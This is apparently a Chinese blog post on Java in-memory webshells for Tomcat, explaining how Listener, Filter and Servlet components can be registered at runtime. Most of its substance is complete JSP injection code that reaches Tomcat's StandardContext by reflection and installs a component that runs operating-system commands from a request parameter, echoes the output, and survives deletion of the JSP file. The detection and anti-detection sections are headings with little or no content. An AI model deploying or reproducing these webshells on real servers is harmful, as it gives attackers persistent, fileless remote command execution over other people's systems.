文章目录

  • 内存马的分类
  • 内存马的实现
  • 利用Java Web组件
  • Listener型
  • Filter型
  • Servlet型
  • SpringMVC Controller型
  • 1、获得当前代码运行时的上下文环境
  • 2、手动注册 Controller
  • 3、Controller 中的 Webshell 逻辑
  • SpringMVC Interceptor型
  • Instrument内存马
  • 内存马的检测
  • 基于Instrument的Agent检测
  • RASP 运行时防护
  • 内存马的反检测
  • 参考


内存马的分类

  • 利用Java Web组件(Servlet、Filter、Listener)

动态地创建Servlet、Filter或者Listener,解析请求参数,实现任意代码执行。在Spring框架利用Controller,Interceptor等组件也是类似的机制。

  • 修改字节码

利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

内存马的实现

利用Java Web组件

利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。

在Servlet3.0中,ServletContext提供了动态创建Servlet、Filter、Listener的方法:

java 内存镜像 如何打开 java内存马_自定义

public interface ServletContext {
  ... 
  FilterRegistration.Dynamic addFilter(String filterName,String className);
  FilterRegistration.Dynamic addFilter(String filterName,Filter filter);
  FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass);
  
  Dynamic addServlet(String var1, String var2);
  Dynamic addServlet(String var1, Servlet var2);
  Dynamic addServlet(String var1, Class<? extends Servlet> var2);
  
void addListener(String var1);
<T extends EventListener> void addListener(T var1);
void addListener(Class<? extends EventListener> var1); 
}

下面的编码和测试均在Tomcat 8.5.39环境下进行。

Listener型

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

正常的自定义Listener的流程:
(1) 自定义Listener类;
(2) 在web.xml中注册该Listener类。

代码如下:
ListenerDemo2.java

package me.mole.listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletResponse;

//实现ServletRequestListener接口,监听http请求事件
public class ListenerDemo2 implements ServletRequestListener {
    private HttpServletResponse response;

    /**
     * 如果按照正常的注册流程去注册的话,
     *   自定义的Listener需要有无参构造方法.
     *   否则tomcat启动会报错.
     */
    public ListenerDemo2() {
        System.out.println("ListenerDemo2() called...");
    }

    public ListenerDemo2(HttpServletResponse response) {
        System.out.println("ListenerDemo2(HttpServletResponse resp) called...");
        this.response = response;
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sret) {
        System.out.println("ListenerDemo2 requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sret) {
        System.out.println("ListenerDemo2 requestInitialized");
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <listener>
        <listener-class>me.mole.listener.ListenerDemo2</listener-class>
    </listener>
</web-app>

ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁。注册 ServletRequestListener 后,每次请求发生时都会调用 requestInitialized() 方法。而我们可以从requestInitialized()方法的参数ServletRequestEvent中获取本次请求的ServletRequest对象。所以我们可以在requestInitialized()方法中添加恶意代码。

另外,由于我们默认无法在ServletRequestListener中获取HttpServletResponse对象,如果我们想要得到命令执行的回显,我们需要在实现ServletRequestListener的自定义类中定义一个自定义构造函数,并将HttpServletResponse作为参数传递给它。

关键是将我们的自定义侦听器添加到 Tomcat。

首先在 ServletContext 中有一个 addListener(T) 方法,实际上我们从 request.getServletContext() 得到的是ApplicationContextFacade ,它实现了 ServletContext 。通过查看 ApplicationContextFacade 中的源代码,我们可以看到它的底层调用堆栈如下所示。

ApplicationContextFacade#addListener(T)
  ->ApplicationContext#addListener(T)
  ->StandardContext#addApplicationEventListener(T)

如果我们使用 ApplicationContextFacade#addListener(T) 直接添加我们的监听器,是不会起作用的。因为ApplicationContext#addListener(T)方法会检查当前上下文的状态,如果它是Tomcat生命周期的准备启动阶段,否则会抛出IllegalStateException。源码如下:

java 内存镜像 如何打开 java内存马_web安全_02


在渗透测试过程中,我们通常通过文件上传功能、操作系统命令注入、远程代码执行漏洞等方式将我们的webshell上传到目标服务器。但是所有这些情况都发生在目标 Web 服务器运行期间, this.context.getState() 不会等于 LifecycleState.STARING_PREP 。

所以我们应该调用 StandardContext#addApplicationEventListener(T) 来实现内存级别的 Webshell的注入。

通过动态调试我们可以清楚的看到ApplicationContextFacade和StandardContext的关系:

java 内存镜像 如何打开 java内存马_java 内存镜像 如何打开_03


由于ApplicationContextFacade中的成员变量context是私有的,而ApplicationContext中的成员变量context也是私有的,所以我们应该使用反射机制。

所以我们的Listener型内存马注入的代码如下:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Listener型内存Webshell
--%>
<%!
    public class ListenerDemo implements ServletRequestListener {
        private HttpServletResponse response;
        public ListenerDemo(HttpServletResponse response) {
            this.response = response;
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sret) {
            System.out.println("requestDestroyed");
        }
        @Override
        public void requestInitialized(ServletRequestEvent sret) {
            try {
                System.out.println("requestInitialized");
                ServletRequest request = sret.getServletRequest();
                ServletOutputStream out = this.response.getOutputStream();
                String cmds = request.getParameter("listenerinjt");
                if (cmds != null) {
                    InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
                    StringBuilder sb = new StringBuilder();
                    BufferedReader br = new BufferedReader(new InputStreamReader(in));
                    String line = null;
                    while((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    if (sb.length() > 0) {
                        out.print("<pre>");
                        out.write(sb.toString().getBytes());
                        out.print("</pre>");
                        out.flush();
                        out.close();
                    }
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
%>
<%
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
    Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
    Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
    stdCtx.addApplicationEventListener(new ListenerDemo(response));
    out.println("injected!");
%>

java 内存镜像 如何打开 java内存马_xml_04


java 内存镜像 如何打开 java内存马_自定义_05


即使我们删除了jsp webshell文件,没关系,我们仍然可以访问webshell。

java 内存镜像 如何打开 java内存马_xml_06


java 内存镜像 如何打开 java内存马_xml_07

Filter型

过滤器可对资源的请求(servlet或静态内容),或对资源的响应执行过滤任务,或者两者都执行。过滤器在doFilter方法中执行过滤。

正常的自定义Filter的流程:
(1) 自定义Filter类;
(2) 在web.xml中注册该Listener类。

代码如下:
FilterDemo.java

package me.mole.filter;

import javax.servlet.*;
import java.io.IOException;

//自定义Filter示例
public class FilterDemo implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("me.mole.filter.FilterDemo Filter init...");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
            throws IOException, ServletException {
        System.out.println("me.mole.filter.FilterDemo Filter doFilter...");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("me.mole.filter.FilterDemo Filter destroy...");
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

<filter>
    <filter-name>filterdemo</filter-name>
    <filter-class>me.mole.filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
    <filter-name>filterdemo</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

这里我们每个请求都会触发FilterDemo#doFilter()方法,这里下断:

java 内存镜像 如何打开 java内存马_java_08


查看 StandardWrapperValue#invoke():

java 内存镜像 如何打开 java内存马_自定义_09


那么 filterChain 是如何分配的呢?继续跟踪代码,您可以看到 filterChain 是由 ApplicationFilterFactory#createFilterChain() 动态创建的。

java 内存镜像 如何打开 java内存马_web安全_10


继续查看 ApplicationFilterFactory#createFilterChain() 的代码。我们可以看到 createFilterChain() 方法会根据 web.xml 文件中的设置创建一个过滤器链。然后,检查每个Filter的 urlPatterns 是否与请求的 url 匹配。如果是,则通过 context.findFilterConfig(String filterName) 获取ApplicationFilterConfig,并通过filterChain.addFilter() 添加ApplicationFilterConfig 到ApplicationFilterChain中。

java 内存镜像 如何打开 java内存马_xml_11


如上面的代码所示,所有的过滤器信息都是通过 context.findFilterMaps() 获得的,FilterMap 对象包含了Filter的所有信息,包括filterName和 urlPatterns。

java 内存镜像 如何打开 java内存马_web安全_12


ApplicationFileConfig 的结构如下图所示:

java 内存镜像 如何打开 java内存马_java_13


最后,回到 StandardWrapperValue#invoke() ,filterChain 开始执行每个Filter的doFilter()方法。

java 内存镜像 如何打开 java内存马_java 内存镜像 如何打开_14


java 内存镜像 如何打开 java内存马_java_15


因此,以下三个步骤用于动态创建自定义Filter,您可以通过 StandardContext 实现它:

(1) 添加自定义 filterDef ,然后重新生成 filterConfig ;

(2) 添加一个 filterMap ;

(3) 将 filterMap 移动到 数组filterMaps 的索引 0 处。(可选的

因此,Filter型内存马注入的代码如下:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Filter型内存Webshell
--%>
<%!
    public class FilterDemo implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
                throws IOException, ServletException {
            try {
                ServletOutputStream out = response.getOutputStream();
                String cmds = request.getParameter("filterinjt");
                if (cmds != null) {
                    InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
                    StringBuilder sb = new StringBuilder();
                    BufferedReader br = new BufferedReader(new InputStreamReader(in));
                    String line = null;
                    while((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    if (sb.length() > 0) {
                        out.print("<pre>");
                        out.write(sb.toString().getBytes());
                        out.print("</pre>");
                        out.flush();
                        out.close();
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }

            filterChain.doFilter(request, response);
        }

        @Override
        public void destroy() {

        }
    }
%>
<%
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
    Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
    Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);

    //1. 添加filterDef
    FilterDemo filterDemo = new FilterDemo();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterClass("FilterDemo");
    filterDef.setFilterName(filterDemo.getClass().getName());
    filterDef.setFilter(filterDemo);
    stdCtx.addFilterDef(filterDef);
    //根据filterDefs重新生成filterConfig
    stdCtx.filterStart();
    //2. 添加filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterDemo.getClass().getName());
    filterMap.setDispatcher("REQUEST");
    filterMap.addURLPattern("/*");
    stdCtx.addFilterMap(filterMap);
    //3. 将自定义filter移动到filterMaps数组的第0位置
    //  [这步非必要,只是为了提高filterChain的处理顺序],
    FilterMap[] filterMaps = stdCtx.findFilterMaps();
    FilterMap[] tmpFilterMaps = new FilterMap[filterMaps.length];
    int idx = 1;
    for (int i = 0; i < filterMaps.length; i++) {
        FilterMap tmpFilter = filterMaps[i];
        if (tmpFilter.getFilterName().equalsIgnoreCase(filterDemo.getClass().getName())) {
            tmpFilterMaps[0] = tmpFilter;
        } else {
            tmpFilterMaps[idx++] = tmpFilter;
        }
    }
    for (int i = 0; i < filterMaps.length; i++) {
        filterMaps[i] = tmpFilterMaps[i];
    }
    out.println("injected!");
%>

java 内存镜像 如何打开 java内存马_java 内存镜像 如何打开_16


java 内存镜像 如何打开 java内存马_java 内存镜像 如何打开_17


即使我们删除了jsp webshell文件,没关系,我们仍然可以访问webshell。

java 内存镜像 如何打开 java内存马_自定义_18


java 内存镜像 如何打开 java内存马_java_19

Servlet型

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

正常的定义Servlet的流程:
(1) 自定义Servlet类;
(2) 在web.xml中注册该Servlet类。

代码如下:
ServletDemo.java

package me.mole.servlet;

import javax.servlet.GenericServlet;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

//自定义Servlet示例
public class ServletDemo extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            System.out.println("me.mole.servlet.ServletDemo doGet...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>servletdemo</servlet-name>
        <servlet-class>me.mole.servlet.ServletDemo</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>servletdemo</servlet-name>
        <url-pattern>/servlet/servletdemo</url-pattern>
    </servlet-mapping>
</web-app>

来看看加载自定义 Servlet 后 StandardContext 的变化。

java 内存镜像 如何打开 java内存马_自定义_20


java 内存镜像 如何打开 java内存马_java 内存镜像 如何打开_21


java 内存镜像 如何打开 java内存马_java_22


如StandardContext的结构所示,它的成员 children,它是一个HashMap对象,每一项的值都是一个 StandardWrapper 对象。StandardWrapper用于装饰 Servlet 对象。

而另一个成员 servletMappings 也是一个HashMap对象,其中的每一项包含 url 和 servlet 之间的映射关系。

综上,以下三个步骤用于动态创建自定义 Servlet,您可以通过 StandardContext 实现它:
(1) 创建一个自定义的 Servlet 类;
(2) 创建一个 StandardWrapper 类,并用它来装饰 Servlet ;
(3) 将 StandardWrapper 对象添加到 StandardContext对象的成员属性children中 ;
(4) 将自定义的Servlet对象与url的映射关系添加到StandardContext中。

因此,Servlet型内存马的注入代码如下:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Servlet型内存Webshell
--%>
<%!
    public class ServletDemo extends HttpServlet {

        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            try {
                ServletOutputStream out = resp.getOutputStream();
                String cmds = req.getParameter("servletinjt");
                if (cmds != null) {
                    InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
                    StringBuilder sb = new StringBuilder();
                    BufferedReader br = new BufferedReader(new InputStreamReader(in));
                    String line = null;
                    while((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    if (sb.length() > 0) {
                        out.print("<pre>");
                        out.write(sb.toString().getBytes());
                        out.print("</pre>");
                        out.flush();
                        out.close();
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            doGet(req, resp);
        }
    }
%>
<%
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
    Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
    Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);

    ServletDemo servletDemo = new ServletDemo();
    StandardWrapper stdWrapper = new StandardWrapper();
    stdWrapper.setServletName("ServletDemo");
    stdWrapper.setServlet(servletDemo);
    stdWrapper.setServletClass(servletDemo.getClass().getName());
    stdCtx.addChild(stdWrapper);
    stdCtx.addServletMappingDecoded("/servletmem/*", "ServletDemo");;

    out.println("injected!");
%>

java 内存镜像 如何打开 java内存马_web安全_23


java 内存镜像 如何打开 java内存马_java_24


java 内存镜像 如何打开 java内存马_web安全_25


java 内存镜像 如何打开 java内存马_web安全_26

Java Web三大组件的加载顺序是:
Listener -> Filter-> Servlet


由于篇幅问题,剩余的内容另起文章记录。

SpringMVC Controller型

1、获得当前代码运行时的上下文环境
2、手动注册 Controller
3、Controller 中的 Webshell 逻辑

SpringMVC Interceptor型

Instrument内存马

内存马的检测

基于Instrument的Agent检测

RASP 运行时防护

Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。

内存马的反检测